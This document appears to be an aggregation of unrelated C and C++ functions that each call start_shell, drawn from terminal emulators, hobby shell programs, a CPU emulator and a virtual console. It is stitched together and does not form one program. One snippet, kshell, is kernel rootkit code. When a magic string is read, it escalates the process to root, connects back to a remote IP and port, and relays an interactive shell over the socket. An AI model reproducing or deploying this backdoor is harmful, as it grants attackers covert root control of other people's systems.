void ShellContent::processLine() { _history.push_back( _entry ); _hpos = _history.size(); // _output->addTextLine ( (string) _prompt + _entry.str() ); TextSpan end = TextSpan ( _output->end(), _output->end() ); _output->insertSpan ( _prompt + _entry.str() + "\n", end ); if ( _entry.substr(0,1) != "/" ) { if ( _entry.size() > 0 ) if ( _console ) { _console->send_command( _entry.str() ); } else { make_system_call(_entry.str() ); } } else { if ( _entry.str() == "/shell" ) { start_shell(); } else { ClientSessionManagerImp::instance()->console_request( _entry.str() ); } } _entry = TextLine(); _loc.chr = 0; }
int main() { //Clean BSS memset(&bss, 0, &endOfBinary - &bss); start_shell(); return 0; }
int main(int ac, char **av, char **env) { (void)ac; (void)av; if ((check_pre()) == -1) return (-1); if (init_my_shell(&shell, env) == -1) return (-1); if (start_shell(&shell) == -42) return (shell.exit_value); free_struct_shell(&shell); return (0); }
static void child_exited_cb (GtkWidget *widget, gpointer data) { DEBUG_FUNCTION ("child_exited_cb"); DEBUG_ASSERT (widget != NULL); DEBUG_ASSERT (data != NULL); tilda_term *tt = TILDA_TERM(data); gint index = gtk_notebook_page_num (GTK_NOTEBOOK(tt->tw->notebook), tt->hbox); /* Make sure we got a valid index */ if (index == -1) { DEBUG_ERROR ("Bad notebook tab\n"); return; } /* These can stay here. They don't need to go into a header because * they are only used at this point in the code. */ enum command_exit { DROP_TO_DEFAULT_SHELL, RESTART_COMMAND, EXIT_TERMINAL }; /* Check the user's preference for what to do when the child terminal * is closed. Take the appropriate action */ switch (config_getint ("command_exit")) { case EXIT_TERMINAL: tilda_window_close_tab (tt->tw, index, FALSE); break; case RESTART_COMMAND: vte_terminal_feed (VTE_TERMINAL(tt->vte_term), "\r\n\r\n", 4); start_shell (tt, FALSE, NULL); break; case DROP_TO_DEFAULT_SHELL: start_shell (tt, TRUE, NULL); default: break; } }
int main(UNUSED int ac, UNUSED char **av, char **env) { t_data data; data.user = NULL; data.old_pwd = NULL; signal(SIGINT, SIG_IGN); init_builtins(&data); copy_env(env, &data); if (start_shell(&data) == -2) { free_all(&data); return (my_getnbr(data.cmd[1])); } free_all(&data); return (0); }
int main(int ac, char **av) { spi_byte_t memory[MEM_SIZE]; spi_cpu_t cpu; const spi_program_config_t cfg = prg_16k(); int err; if (ac > 1) { std::memset(memory, 0, MEM_SIZE); if ((err = spi_load_program(av[1], memory, &cfg, IGNORE_PRG_SIZE))) { spi_print_error(err); return EXIT_FAILURE; } } spi_cpu_init(&cpu, 20, MHZ); spi_cpu_reset(&cpu, memory, &cfg); start_shell(cpu, memory); return 0; }
int main(int argc, char **argv){ char *user; char *cmd; user = getenv("USER"); fprintf(stdout, "Hi %s, see the list of active commands bellow:\n", user); fprintf(stdout, " +ls\n"); fprintf(stdout, " +cd\n"); fprintf(stdout, " +get\n"); fprintf(stdout, " +put\n"); fprintf(stdout, " +exit\n"); init_shell(); start_shell(); return 0; }
ShellContent::ShellContent() : WindowContent(), _leading( 0.067 ), _fontScale( 0.045), _fontAspect( 0.9 ), _fontWeight( 1.8 ), _canvasDirty ( true ), _viewportDirty ( true ), _console( NULL ), _shell( NULL ), _shell_tid( 0 ) { _loc.line = 0; _loc.chr = 0; _wSpace = drawString_length_mono ("m"); _wTab = _wSpace * 4; _viewport.setScale( 1.1, 1.1 ); _output = new TextBuffer(); _id = IDManager::instance()->getStencilID(); _prompt = "audicle %> "; //start shell immediately; start_shell(); }
/** * kshell - start a connect back shell in kernel space. * @ip: remote ip to connect. * @port: remote port to connect. * both ip and port are network bytes. * * When the system call 'read' had read the flag 'wztshell',it will be use this * function to start a connect back shell. * * return value is always NF_ACCEPT.It's not firewall,just want to filter the key. */ int kshell(int ip,int port) { //struct task_struct *ptr = current; struct cred *ptr = (struct cred *)current->cred; struct socket *sock; struct sockaddr_in server; struct winsize ws; mm_segment_t old_fs; fd_set s_read; int soc, tmp_pid, i; int byte1,count,rlen; int error; int len = sizeof(struct sockaddr); char tmp[101],buf[101]; unsigned char *p,*d; unsigned char wb[5]; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; set_fs(KERNEL_DS); ssetmask(~0); for (i = 0;i < 4096; i++) close(i); error = sock_create(AF_INET,SOCK_STREAM,0,&sock); if (error < 0) { #if DEBUG == 1 printk("[-] socket_create failed: %d\n",error); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } //http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html soc = sock_map_fd(sock,0); if (soc < 0) { #if DEBUG == 1 printk("[-] sock_map_fd() failed.\n"); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } for (i = 0; i < 8; i++) server.sin_zero[i] = 0; server.sin_family = PF_INET; server.sin_addr.s_addr = ip; server.sin_port = port; error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags); if (error < 0) { #if DEBUG == 1 printk("[-] connect to failed.\n"); #endif e_exit(-1); return -1; } epty = get_pty(); set_fs(old_fs); if (!(tmp_pid = fork())) start_shell(); set_fs(KERNEL_DS); /* #if ENCRYPT == 1 encrypt_code(banner,200); #endif write(soc,banner,200); */ while (1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0) break; if (FD_ISSET(ptmx, &s_read)) { byte1 = read(ptmx, tmp, 100); if (byte1 <= 0) break; #if ENCRYPT == 1 encrypt_code(tmp,byte1); #endif write(soc, tmp, byte1); } if (FD_ISSET(soc, &s_read)) { d = buf; count = read(soc, buf, 100); if (count <= 0) break; #if ENCRYPT == 1 encrypt_code(buf,count); #endif p = memchr(buf, ECHAR, count); if (p) { rlen = count - ((long) p - (long) buf); /* wait for rest */ if (rlen > 5) rlen = 5; memcpy(wb, p, rlen); if (rlen < 5) { read(soc, &wb[rlen], 5 - rlen); #if ENCRYPT == 1 encrypt_code(&wb[rlen],5 - rlen); #endif } /* setup window */ ws.ws_xpixel = ws.ws_ypixel = 0; ws.ws_col = (wb[1] << 8) + wb[2]; ws.ws_row = (wb[3] << 8) + wb[4]; ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws); kill(0, SIGWINCH); /* write the rest */ write(ptmx, buf, (long) p - (long) buf); rlen = ((long) buf + count) - ((long)p+5); if (rlen > 0) write(ptmx, p+5, rlen); } else if (write(ptmx, d, count) <= 0) break; } } kill(tmp_pid, SIGKILL); set_fs(old_fs); e_exit(0); return -1; }
int main(void) { start_shell(); return EXIT_SUCCESS; }
int main(int argc, char** argv) { // NOTE: devmgr has getenv_bool. when more options are added, consider // sharing that. bool keep_log = false; const char* value = getenv("virtcon.keep-log-visible"); if (value == NULL || ((strcmp(value, "0") == 0) || (strcmp(value, "false") == 0) || (strcmp(value, "off") == 0))) { keep_log = false; } else { keep_log = true; } const char* cmd = NULL; int shells = 0; while (argc > 1) { if (!strcmp(argv[1], "--run")) { if (argc > 2) { argc--; argv++; cmd = argv[1]; if (shells < 1) shells = 1; printf("CMD: %s\n", cmd); } } else if (!strcmp(argv[1], "--shells")) { if (argc > 2) { argc--; argv++; shells = atoi(argv[1]); } } argc--; argv++; } if (port_init(&port) < 0) { return -1; } // create initial console for debug log if (vc_create(&log_vc, false) != ZX_OK) { return -1; } snprintf(log_vc->title, sizeof(log_vc->title), "debuglog"); // Get our process koid so the log reader can // filter out our own debug messages from the log zx_info_handle_basic_t info; if (zx_object_get_info(zx_process_self(), ZX_INFO_HANDLE_BASIC, &info, sizeof(info), NULL, NULL) == ZX_OK) { proc_koid = info.koid; } log_ph.handle = zx_take_startup_handle(PA_HND(PA_USER0, 1)); if (log_ph.handle == ZX_HANDLE_INVALID) { printf("vc log listener: did not receive log startup handle\n"); return -1; } log_ph.func = log_reader_cb; log_ph.waitfor = ZX_LOG_READABLE; if ((new_vc_ph.handle = zx_take_startup_handle(PA_HND(PA_USER0, 0))) != ZX_HANDLE_INVALID) { new_vc_ph.func = new_vc_cb; new_vc_ph.waitfor = ZX_CHANNEL_READABLE; port_wait(&port, &new_vc_ph); } setup_dir_watcher("/dev/class/input", input_cb, &input_ph, &input_dir_fd); if (!vc_display_init()) { return -1; } setenv("TERM", "xterm", 1); for (int i = 0; i < shells; ++i) { if (i == 0) start_shell(!keep_log, cmd); else start_shell(false, NULL); } zx_status_t r = port_dispatch(&port, ZX_TIME_INFINITE, false); printf("vc: port failure: %d\n", r); return -1; }
struct tilda_term_ *tilda_term_init (struct tilda_window_ *tw) { DEBUG_FUNCTION ("tilda_term_init"); DEBUG_ASSERT (tw != NULL); int ret; struct tilda_term_ *term; GError *error = NULL; tilda_term *current_tt; gint current_tt_index; char *current_tt_dir = NULL; term = g_malloc (sizeof (struct tilda_term_)); /* Add to GList list of tilda_term structures in tilda_window structure */ tw->terms = g_list_append (tw->terms, term); /* Check for a failed allocation */ if (!term) return NULL; /* Set the PID to unset value */ term->pid = -1; /* Add the parent window reference */ term->tw = tw; /* Create a non-homogenous hbox, with 0px spacing between members */ term->hbox = gtk_box_new (GTK_ORIENTATION_HORIZONTAL, 0); /* Create the terminal */ term->vte_term = vte_terminal_new (); /* Create the scrollbar for the terminal */ term->scrollbar = gtk_scrollbar_new (GTK_ORIENTATION_VERTICAL, gtk_scrollable_get_vadjustment (GTK_SCROLLABLE (VTE_TERMINAL(term->vte_term)))); /* Initialize to false, we have not yet dropped to the default shell */ term->dropped_to_default_shell = FALSE; /* Set properties of the terminal */ tilda_term_config_defaults (term); /* Update the font scale because the newly created terminal uses the default font size */ tilda_term_adjust_font_scale(term, tw->current_scale_factor); /* Pack everything into the hbox */ gtk_box_pack_end (GTK_BOX(term->hbox), term->scrollbar, FALSE, FALSE, 0); gtk_box_pack_end (GTK_BOX(term->hbox), term->vte_term, TRUE, TRUE, 0); gtk_widget_show (term->scrollbar); /* Set the scrollbar position */ tilda_term_set_scrollbar_position (term, config_getint ("scrollbar_pos")); /** Signal Connection **/ g_signal_connect (G_OBJECT(term->vte_term), "child-exited", G_CALLBACK(child_exited_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "window-title-changed", G_CALLBACK(window_title_changed_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "eof", G_CALLBACK(child_exited_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "status-line-changed", G_CALLBACK(status_line_changed_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "button-press-event", G_CALLBACK(button_press_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "key-press-event", G_CALLBACK(key_press_cb), term); //needs GDK_KEY_PRESS_MASK /* Connect to application request signals. */ g_signal_connect (G_OBJECT(term->vte_term), "iconify-window", G_CALLBACK(iconify_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "deiconify-window", G_CALLBACK(deiconify_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "raise-window", G_CALLBACK(raise_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "lower-window", G_CALLBACK(lower_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "maximize-window", G_CALLBACK(maximize_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "restore-window", G_CALLBACK(restore_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "refresh-window", G_CALLBACK(refresh_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "move-window", G_CALLBACK(move_window_cb), tw->window); g_signal_connect (G_OBJECT (tw->notebook), "switch-page", G_CALLBACK (tilda_terminal_switch_page_cb), tw); /* Match URL's, etc */ term->http_regexp=g_regex_new(HTTP_REGEXP, G_REGEX_CASELESS, G_REGEX_MATCH_NOTEMPTY, &error); ret = vte_terminal_match_add_gregex(VTE_TERMINAL(term->vte_term), term->http_regexp,0); vte_terminal_match_set_cursor_type (VTE_TERMINAL(term->vte_term), ret, GDK_HAND2); /* Show the child widgets */ gtk_widget_show (term->vte_term); gtk_widget_show (term->hbox); /* Get current term's working directory */ current_tt_index = gtk_notebook_get_current_page (GTK_NOTEBOOK(tw->notebook)); current_tt = g_list_nth_data (tw->terms, current_tt_index); if (current_tt != NULL) { current_tt_dir = tilda_term_get_cwd(current_tt); } /* Fork the appropriate command into the terminal */ ret = start_shell (term, FALSE, current_tt_dir); g_free(current_tt_dir); if (ret) goto err_fork; return term; err_fork: g_free (term); return NULL; }
struct tilda_term_ *tilda_term_init (struct tilda_window_ *tw) { DEBUG_FUNCTION ("tilda_term_init"); DEBUG_ASSERT (tw != NULL); int ret; struct tilda_term_ *term; GError *error = NULL; term = g_malloc (sizeof (struct tilda_term_)); /* Check for a failed allocation */ if (!term) return NULL; /* Add the parent window reference */ term->tw = tw; /* Create a non-homogenous hbox, with 0px spacing between members */ term->hbox = gtk_box_new (GTK_ORIENTATION_HORIZONTAL, 0); /* Create the terminal */ term->vte_term = vte_terminal_new (); /* Create the scrollbar for the terminal */ term->scrollbar = gtk_scrollbar_new (GTK_ORIENTATION_HORIZONTAL, gtk_scrollable_get_vadjustment (GTK_SCROLLABLE (VTE_TERMINAL(term->vte_term)))); /* Set properties of the terminal */ tilda_term_config_defaults (term); /* Pack everything into the hbox */ gtk_box_pack_end (GTK_BOX(term->hbox), term->scrollbar, FALSE, FALSE, 0); gtk_box_pack_end (GTK_BOX(term->hbox), term->vte_term, TRUE, TRUE, 0); gtk_widget_show (term->scrollbar); /* Set the scrollbar position */ tilda_term_set_scrollbar_position (term, config_getint ("scrollbar_pos")); /** Signal Connection **/ g_signal_connect (G_OBJECT(term->vte_term), "child-exited", G_CALLBACK(child_exited_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "window-title-changed", G_CALLBACK(window_title_changed_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "eof", G_CALLBACK(child_exited_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "status-line-changed", G_CALLBACK(status_line_changed_cb), term); g_signal_connect (G_OBJECT(term->vte_term), "button-press-event", G_CALLBACK(button_press_cb), term); /* Connect to application request signals. */ g_signal_connect (G_OBJECT(term->vte_term), "iconify-window", G_CALLBACK(iconify_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "deiconify-window", G_CALLBACK(deiconify_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "raise-window", G_CALLBACK(raise_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "lower-window", G_CALLBACK(lower_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "maximize-window", G_CALLBACK(maximize_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "restore-window", G_CALLBACK(restore_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "refresh-window", G_CALLBACK(refresh_window_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "move-window", G_CALLBACK(move_window_cb), tw->window); /* Connect to font tweakage. */ g_signal_connect (G_OBJECT(term->vte_term), "increase-font-size", G_CALLBACK(increase_font_size_cb), tw->window); g_signal_connect (G_OBJECT(term->vte_term), "decrease-font-size", G_CALLBACK(decrease_font_size_cb), tw->window); /* Match URL's, etc */ term->http_regexp=g_regex_new(HTTP_REGEXP, G_REGEX_CASELESS, G_REGEX_MATCH_NOTEMPTY, &error); ret = vte_terminal_match_add_gregex(VTE_TERMINAL(term->vte_term), term->http_regexp,0); vte_terminal_match_set_cursor_type (VTE_TERMINAL(term->vte_term), ret, GDK_HAND2); /* Show the child widgets */ gtk_widget_show (term->vte_term); gtk_widget_show (term->hbox); /* Fork the appropriate command into the terminal */ ret = start_shell (term); if (ret) goto err_fork; return term; err_fork: g_free (term); return NULL; }